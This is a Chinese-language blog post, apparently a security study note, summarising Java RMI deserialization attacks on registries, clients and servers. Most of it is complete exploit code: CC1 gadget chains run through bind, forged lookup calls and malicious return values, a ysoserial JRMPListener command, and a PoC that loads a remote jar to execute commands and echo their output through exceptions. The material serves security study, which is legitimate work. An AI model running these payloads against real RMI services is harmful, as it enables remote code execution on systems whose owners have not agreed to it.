前言

前一个专题,我们对RMI的基础和通信原理进行了简单的分析,这一期对攻击方法进行一个总结
参考:Java反序列化之RMI专题02-RMI的几种攻击方式 | Drunkbaby’s Blog
RMI攻击方式 | CurlySean’s Blog

RMI的基本攻击方式

  • RMI Client 打 RMI Registry
  • RMI Client 打 RMI Server
  • RMI Client

攻击RMI registry

只能够通过客户端打registry.
根据上篇文章的分析,我们要去找一下反序列的点位在哪里
我们在使用一下语句时,会调用了lookup

1
IRemoteOBJ remoteOBJ = (IRemoteOBJ) registry.lookup("rmiserver");

而这个lookup这里对应着注册中心(特殊的服务端的skel),这时就会调用到
image.png
case2,这都是我们之前分析过的,所以不同的方法对应着不同的case
0->bind
1->list
2->lookup
3->rebind
4->unbind
那么,我们就可以通过这里不同的方法去调用到不同的case里的readObject方法

使用list方法交互

image.png
list这里无反序列化的点,就不浪费时间了.

使用bind或rebind进行交互

先看源码
image.png
image.png
都是可以进行反序列化的
这里进行反序列化的是远程对象和传来的字符串(name),所以如果是存在cc的依赖的话,我们在这里就可以打一个cc链的漏洞,来进行命令执行
依赖

1
2
3
4
5
6
7
<dependencies>    
<!-- https://mvnrepository.com/artifact/commons-collections/commons-collections -->
<dependency>
<groupId>commons-collections</groupId>
<artifactId>commons-collections</artifactId>
<version>3.2.1</version>
</dependency></dependencies>

远程对象在两者间传递的时候,传递的是一个Proxy的动态代理对象,而在使用bind的方法时需要的是remote类型的对象,所以我们需要一个能实现remote接口的动态代理类
这时我们可以使用
这个newProxyInstance方法创建代理类,需要InvocationHandler示例,所以我们需要将恶意类转为InvocationHandler

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
@CallerSensitive  
public static Object newProxyInstance(ClassLoader loader,
Class<?>[] interfaces,
InvocationHandler h)
throws IllegalArgumentException
{
......
try {
if (sm != null) {
checkNewProxyPermission(Reflection.getCallerClass(), cl);
}

final Constructor<?> cons = cl.getConstructor(constructorParams);
final InvocationHandler ih = h;
if (!Modifier.isPublic(cl.getModifiers())) {
AccessController.doPrivileged(new PrivilegedAction<Void>() {
public Void run() {
cons.setAccessible(true);
return null;
}
});
}
return cons.newInstance(new Object[]{h});
} ......
}

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
import javafx.scene.transform.Transform;  
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;
import sun.util.resources.cldr.st.CalendarData_st_LS;

import java.io.*;
import java.lang.annotation.Target;
import java.lang.reflect.Constructor;
import java.lang.reflect.InvocationHandler;
import java.lang.reflect.Method;
import java.lang.reflect.Proxy;
import java.rmi.Remote;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;
import java.util.HashMap;
import java.util.Map;

import static java.lang.reflect.Proxy.newProxyInstance;

public class RemoteBind {
public static void main(String[] args) throws Exception {
Registry registry = LocateRegistry.getRegistry("127.0.0.1",1099);
InvocationHandler invocationHandler = (InvocationHandler) CC1();
Remote remote = Remote.class.cast(newProxyInstance(Remote.class.getClassLoader(), new Class[]{Remote.class}, invocationHandler));
registry.bind("rmiserver",remote);

}

public static Object CC1() throws Exception {

Class c = Runtime.class;

// Method invokerTransformer = (Method) new InvokerTransformer("getDeclaredMethod", new Class[]{String.class,Class[].class}, new Object[]{"getRuntime", null}).transform(c);
// Runtime r= (Runtime) new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}).transform(invokerTransformer);
// new InvokerTransformer("exec",new Class[]{String.class}, new Object[]{"calc"}).transform(r);

Transformer[] t = new Transformer[]{
new ConstantTransformer(c),
new InvokerTransformer("getDeclaredMethod", new Class[]{String.class,Class[].class}, new Object[]{"getRuntime", null}),
new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}),
new InvokerTransformer("exec",new Class[]{String.class}, new Object[]{"calc"})
};
ChainedTransformer chainedtransformer = new ChainedTransformer(t);

HashMap<Object,Object> map = new HashMap<>();
map.put("value","value");
Map<Object,Object> decorate = TransformedMap.decorate(map, null, chainedtransformer);

Class cc = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor declaredConstructor = cc.getDeclaredConstructor(Class.class, Map.class);
declaredConstructor.setAccessible(true);
Object o = declaredConstructor.newInstance(Target.class,decorate);

return o;



// Method m = c.getDeclaredMethod("getRuntime",null);
// m.setAccessible(true);
// Runtime o = (Runtime) m.invoke(null,null);
// o.exec("calc");

}
}

``
Remote remote = Remote.class.cast(newProxyInstance(Remote.class.getClassLoader(), new Class[]{Remote.class}, invocationHandler)); //这行代码的核心作用是利用 Java 反射机制创建一个动态代理对象,并将其强制转换为 Remote 接口类型
使用rebind的话改一下方法就可以了
image.png

使用unbind和uplook进行交互

image.png
image.png
实际上这两者的攻击思路和bind/rebind是相类似的,但是lookup这里只能传入String字符串,我们可以通过伪造lookup连接请求,使其可以传入对象
也就是进行一个可以传入对象的lookup请求
exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
import org.apache.commons.collections.Transformer;  
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;
import sun.rmi.server.UnicastRef;

import java.io.ObjectOutput;
import java.lang.annotation.Target;
import java.lang.reflect.*;
import java.rmi.Remote;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;
import java.rmi.server.RemoteCall;
import java.rmi.server.RemoteObject;
import java.util.HashMap;
import java.util.Map;

public class RemoteBind {
public static void main(String[] args) throws Exception {
// 1. 获取 Registry Registry registry = LocateRegistry.getRegistry("127.0.0.1", 1099);

// 2. 生成恶意 Payload (CC1 链包装在 InvocationHandler 中)
InvocationHandler invocationHandler = (InvocationHandler) CC1();

// 3. 将 Payload 包装成 Remote 代理对象
// 因为 bind 方法要求第二个参数必须是 Remote 类型
Remote remotePayload = (Remote) Proxy.newProxyInstance(
Remote.class.getClassLoader(),
new Class[]{Remote.class},
invocationHandler
);

// 4. 获取 registry 代理中的 UnicastRef 对象
// 动态代理的 Handler 是 RemoteObjectInvocationHandler,它的父类 RemoteObject 中有 ref 字段
Field[] fields_0 = registry.getClass().getSuperclass().getSuperclass().getDeclaredFields();
fields_0[0].setAccessible(true);
UnicastRef ref = (UnicastRef) fields_0[0].get(registry);

// 5. 伪造 RMI 请求 (利用 lookup 方法)
// newCall(RemoteObject obj, Operation[] operations, int opnum, long interfaceHash) // 0: bind, 1: list, 2: lookup, 3: rebind, 4: unbind // 传入 null 作为 operations,因为我们直接指定了 opnum 和 hash RemoteCall var2 = ref.newCall((RemoteObject) registry, null, 2, 4905912898345647071L);

ObjectOutput var3 = var2.getOutputStream();

// bind(String name, Remote obj)
//lookup(Remote obj) // 必须按照服务端参数顺序写入:先写名字,再写恶意对象
var3.writeObject(remotePayload);

// 6. 发送请求
// 这一步会触发服务端的反序列化
try {
ref.invoke(var2);
} catch (Exception e) {
// 服务端反序列化成功后通常会抛出异常,因为本地的逻辑并不完整,但这代表攻击已经发送
System.out.println("Payload sent. Check the server.");
// e.printStackTrace();
}
}

public static Object CC1() throws Exception {
// 标准 CC1 TransformedMap 链
Transformer[] t = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})
};
ChainedTransformer chainedtransformer = new ChainedTransformer(t);

HashMap<Object, Object> map = new HashMap<>();
map.put("value", "value"); // Key 必须是 "value",因为 Target 注解中有 value() 方法
Map<Object, Object> decorate = TransformedMap.decorate(map, null, chainedtransformer);

// 获取 AnnotationInvocationHandler 的构造器
Class<?> cc = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor<?> declaredConstructor = cc.getDeclaredConstructor(Class.class, Map.class);
declaredConstructor.setAccessible(true);

// 实例化 Handler Object o = declaredConstructor.newInstance(Target.class, decorate);

return o;
}
}

image.png

攻击客户端

注册中心攻击客户端

那么还是离不开刚刚分析的那几个方法

  • bind
  • unbind
  • rebind
  • list
  • lookup
    在这其中unbind和rebind都会返回数据给客户端,返回的形式是序列化的形式,那么客户端就只能使用反序列化来获取,如果我们能控制返回的数据这样就可以进行攻击了.这里使用的是ysoserial的JRMPListener,命令如下:
    java -cp .\ysoserial.jar ysoserial.exploit.JRMPListener 1099 CommonsCollections1 calc
    不用加单引号
    image.png

服务端攻击客户端

服务端攻击客户端可以利用的点分为两种:

  1. 服务端返回对象
  2. 远程加载对象

服务端返回对象

在RMI中,远程调用方法传递回来的不一定是一个基础数据类型(String、int),也有可能是对象,当服务端返回给客户端一个对象时,客户端就要对应的进行反序列化。所以我们需要伪造一个服务端,当客户端调用某个远程方法时,返回的参数是我们构造好的恶意对象。这里以CC1为例:
User接口:

1
2
3
4
5
import java.rmi.Remote;  

public interface User extends Remote {
public Object getUser() throws Exception;
}

接口实现类

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
import org.apache.commons.collections.Transformer;  
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;

import java.lang.annotation.Target;
import java.lang.reflect.Constructor;
import java.lang.reflect.InvocationTargetException;
import java.rmi.Remote;
import java.rmi.RemoteException;
import java.rmi.server.UnicastRemoteObject;
import java.util.HashMap;
import java.util.Map;

public class RemoteOBJ extends UnicastRemoteObject implements User{
public RemoteOBJ() throws RemoteException {
//UnicastRemoteObject.exportObject(this,0);如果不继承UnicastRemoteObject就需要手动导出
}



public Object getUser() throws RemoteException, ClassNotFoundException, NoSuchMethodException, InvocationTargetException, InstantiationException, IllegalAccessException {
Transformer[] t = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})
};
ChainedTransformer chainedtransformer = new ChainedTransformer(t);

HashMap<Object, Object> map = new HashMap<>();
map.put("value", "value"); // Key 必须是 "value",因为 Target 注解中有 value() 方法
Map<Object, Object> decorate = TransformedMap.decorate(map, null, chainedtransformer);

// 获取 AnnotationInvocationHandler 的构造器
Class<?> cc = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor<?> declaredConstructor = cc.getDeclaredConstructor(Class.class, Map.class);
declaredConstructor.setAccessible(true);

// 实例化 Handler Object o = declaredConstructor.newInstance(Target.class, decorate);

return o;

}
}

绑定到服务端

1
2
3
4
5
6
7
8
9
10
11
12
13
import java.rmi.NotBoundException;  
import java.rmi.Remote;
import java.rmi.RemoteException;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;

public class RMIclient {
public static void main(String[] args) throws Exception {
Registry registry = LocateRegistry.getRegistry("127.0.0.1",1099);
User rmiserver = (User)registry.lookup("rmiserver");
rmiserver.getUser();
}
}

客户端的调用

1
2
3
4
5
6
7
8
9
10
11
12
13
import java.rmi.NotBoundException;  
import java.rmi.Remote;
import java.rmi.RemoteException;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;

public class RMIclient {
public static void main(String[] args) throws Exception {
Registry registry = LocateRegistry.getRegistry("127.0.0.1",1099);
User rmiserver = (User)registry.lookup("rmiserver");
rmiserver.getUser();
}
}

image.png

加载远程对象

大家可以找p神的文章看一下,具体实现的条件有点苛刻,我就没细看

攻击服务端

客户端打服务端

服务端实现类

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
import org.apache.commons.collections.Transformer;  
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;

import java.lang.annotation.Target;
import java.lang.reflect.Constructor;
import java.lang.reflect.InvocationTargetException;
import java.rmi.Remote;
import java.rmi.RemoteException;
import java.rmi.server.UnicastRemoteObject;
import java.util.HashMap;
import java.util.Map;

public class RemoteOBJ extends UnicastRemoteObject implements User{
public RemoteOBJ() throws RemoteException {
//UnicastRemoteObject.exportObject(this,0);如果不继承UnicastRemoteObject就需要手动导出
}



public void getUser(Object o) throws RemoteException, ClassNotFoundException, NoSuchMethodException, InvocationTargetException, InstantiationException, IllegalAccessException {
System.out.println("getUser");
}
}

客户端的

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
import org.apache.commons.collections.Transformer;  
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;

import java.lang.annotation.Target;
import java.lang.reflect.Constructor;
import java.rmi.NotBoundException;
import java.rmi.Remote;
import java.rmi.RemoteException;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;
import java.util.HashMap;
import java.util.Map;

public class RMIclient {
public static void main(String[] args) throws Exception {
Registry registry = LocateRegistry.getRegistry("127.0.0.1",1099);
User rmiserver = (User)registry.lookup("rmiserver");
rmiserver.getUser(payload());
}

public static Object payload() throws Exception {
Transformer[] t = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})
};
ChainedTransformer chainedtransformer = new ChainedTransformer(t);

HashMap<Object, Object> map = new HashMap<>();
map.put("value", "value"); // Key 必须是 "value",因为 Target 注解中有 value() 方法
Map<Object, Object> decorate = TransformedMap.decorate(map, null, chainedtransformer);

// 获取 AnnotationInvocationHandler 的构造器
Class<?> cc = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor<?> declaredConstructor = cc.getDeclaredConstructor(Class.class, Map.class);
declaredConstructor.setAccessible(true);

// 实例化 Handler Object o = declaredConstructor.newInstance(Target.class, decorate);

return o;
}
}

记得改接口,就是利用传的参数是一个恶意类
image.png

加载远程对象

和上述一样.Java 中 RMI、JNDI、LDAP、JRMP、JMX、JMS那些事儿(上)

RMI的进阶攻击方式

攻击注册中心时,注册中心遇到异常会直接把异常发回来,返回给客户端。这里我们利用URLClassLoader加载远程jar,传入服务端,反序列化后调用其方法,在方法内抛出错误,错误会传回客户端,这样也就得到了命令执行的回显
远程demo:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
import java.io.BufferedReader;
import java.io.InputStreamReader;

public class ErrorBaseExec {

public static void do_exec(String args) throws Exception
{
Process proc = Runtime.getRuntime().exec(args);
BufferedReader br = new BufferedReader(new InputStreamReader(proc.getInputStream()));
StringBuffer sb = new StringBuffer();
String line;
while ((line = br.readLine()) != null)
{
sb.append(line).append("\n");
}
String result = sb.toString();
Exception e=new Exception(result);
throw e;
}
}

制作jar包的命令

1
2
javac ErrorBaseExec.java
jar -cvf RMIexploit.jar ErrorBaseExec.class

客户端的poc

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;

import java.lang.annotation.Target;
import java.lang.reflect.Constructor;
import java.lang.reflect.InvocationHandler;
import java.lang.reflect.Proxy;

import java.net.URLClassLoader;

import java.rmi.Remote;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;

import java.util.HashMap;
import java.util.Map;


public class Client {
public static Constructor<?> getFirstCtor(final String name)
throws Exception {
final Constructor<?> ctor = Class.forName(name).getDeclaredConstructors()[0];
ctor.setAccessible(true);

return ctor;
}

public static void main(String[] args) throws Exception {
String ip = "127.0.0.1"; //注册中心ip
int port = 1099; //注册中心端口
String remotejar = 远程jar;
String command = "whoami";
final String ANN_INV_HANDLER_CLASS = "sun.reflect.annotation.AnnotationInvocationHandler";

try {
final Transformer[] transformers = new Transformer[] {
new ConstantTransformer(java.net.URLClassLoader.class),
new InvokerTransformer("getConstructor",
new Class[] { Class[].class },
new Object[] { new Class[] { java.net.URL[].class } }),
new InvokerTransformer("newInstance",
new Class[] { Object[].class },
new Object[] {
new Object[] {
new java.net.URL[] { new java.net.URL(remotejar) }
}
}),
new InvokerTransformer("loadClass",
new Class[] { String.class },
new Object[] { "ErrorBaseExec" }),
new InvokerTransformer("getMethod",
new Class[] { String.class, Class[].class },
new Object[] { "do_exec", new Class[] { String.class } }),
new InvokerTransformer("invoke",
new Class[] { Object.class, Object[].class },
new Object[] { null, new String[] { command } })
};
Transformer transformedChain = new ChainedTransformer(transformers);
Map innerMap = new HashMap();
innerMap.put("value", "value");

Map outerMap = TransformedMap.decorate(innerMap, null,
transformedChain);
Class cl = Class.forName(
"sun.reflect.annotation.AnnotationInvocationHandler");
Constructor ctor = cl.getDeclaredConstructor(Class.class, Map.class);
ctor.setAccessible(true);

Object instance = ctor.newInstance(Target.class, outerMap);
Registry registry = LocateRegistry.getRegistry(ip, port);
InvocationHandler h = (InvocationHandler) getFirstCtor(ANN_INV_HANDLER_CLASS)
.newInstance(Target.class,
outerMap);
Remote r = Remote.class.cast(Proxy.newProxyInstance(
Remote.class.getClassLoader(),
new Class[] { Remote.class }, h));
registry.bind("liming", r);
} catch (Exception e) {
try {
System.out.print(e.getCause().getCause().getCause().getMessage());
} catch (Exception ee) {
throw e;
}
}
}
}

编译的java环境要一样哈
image.png

最后

RMI就到此结束了